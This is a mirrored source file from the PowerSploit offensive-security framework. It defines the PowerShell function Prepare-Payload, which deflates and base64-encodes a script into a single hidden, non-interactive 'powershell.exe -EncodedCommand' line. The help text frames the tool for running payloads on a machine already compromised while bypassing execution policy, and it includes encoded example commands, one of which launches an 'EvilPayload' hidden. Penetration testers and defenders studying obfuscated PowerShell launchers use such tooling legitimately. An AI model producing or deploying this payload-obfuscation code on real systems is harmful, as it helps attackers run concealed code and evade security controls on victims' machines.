mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
bitform
144 lines
6.2 KiB
PowerShell
144 lines
6.2 KiB
PowerShell
function Prepare-Payload
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{
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<#
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.SYNOPSIS
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Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
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PowerSploit Module - Prepare-Payload
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Author: Matthew Graeber (@mattifestation)
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License: BSD 3-Clause
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.DESCRIPTION
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Prepare-Payload prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
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.PARAMETER ScriptBlock
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Specifies a scriptblock containing your payload.
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.PARAMETER Path
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Specifies the path to your payload.
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.PARAMETER NoExit
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Outputs the option to not exit after running startup commands.
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.PARAMETER NoProfile
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Outputs the option to not load the Windows PowerShell profile.
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.PARAMETER NonInteractive
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Outputs the option to not present an interactive prompt to the user.
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.PARAMETER Wow64
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Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
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.PARAMETER WindowStyle
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Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
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.EXAMPLE
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C:\PS> Prepare-Payload -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden
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powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
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Description
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-----------
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Execute the above payload for the lulz. >D
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.EXAMPLE
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C:\PS> Prepare-Payload -ScriptBlock {Write-Host 'hello, world!'}
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powershell.exe -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQwB5AC8ASwBMAEUAbgBWADkAYwBnAHYATABsAEYAUQB6ADAAagBOAHkAYwBuAFgAVQBTAGoAUABMADgAcABKAFUAVgBRAEgAQQBBAD0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA
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.NOTES
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This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
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.LINK
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http://www.exploit-monday.com
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#>
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[CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
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[Parameter(Position = 1, ParameterSetName = 'ScriptBlock' )]
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[ValidateNotNullOrEmpty()]
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[ScriptBlock]
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$ScriptBlock,
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[Parameter(Position = 1, ParameterSetName = 'FilePath' )]
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[ValidateNotNullOrEmpty()]
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[String]
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$Path,
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[Switch]
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$NoExit,
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[Switch]
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$NoProfile,
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[Switch]
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$NonInteractive,
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[Switch]
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$Wow64,
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[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
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[String]
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$WindowStyle
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)
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if ($PSBoundParameters['Path'])
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{
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$Text = Get-Content -Path $Path -Encoding Ascii -ErrorAction Stop
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$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Text)
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}
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else
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{
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$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
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}
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$CompressedStream = New-Object IO.MemoryStream
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$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
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$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
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$DeflateStream.Dispose()
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$CompressedScriptBytes = $CompressedStream.ToArray()
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$CompressedStream.Dispose()
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$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
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# Generate the code that will decompress and execute the payload.
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# This code is intentionally ugly to save space.
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$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
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# Base-64 strings passed to -EncodedCommand must be unicode encoded.
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$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
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$EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
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# Build the command line options
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$CommandlineOptions = New-Object String[](0)
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if ($PSBoundParameters['NoExit'])
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{ $CommandlineOptions += '-NoExit' }
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if ($PSBoundParameters['NoProfile'])
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{ $CommandlineOptions += '-NoProfile' }
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if ($PSBoundParameters['NonInteractive'])
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{ $CommandlineOptions += '-NonInteractive' }
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if ($PSBoundParameters['WindowStyle'])
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{ $CommandlineOptions += "-WindowStyle $($PSBoundParameters['WindowStyle'])" }
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if ($PSBoundParameters['Wow64'])
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{
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$CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript"
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}
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else
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{
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$CommandLineOutput = "powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript"
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}
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Write-Output $CommandLineOutput
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} |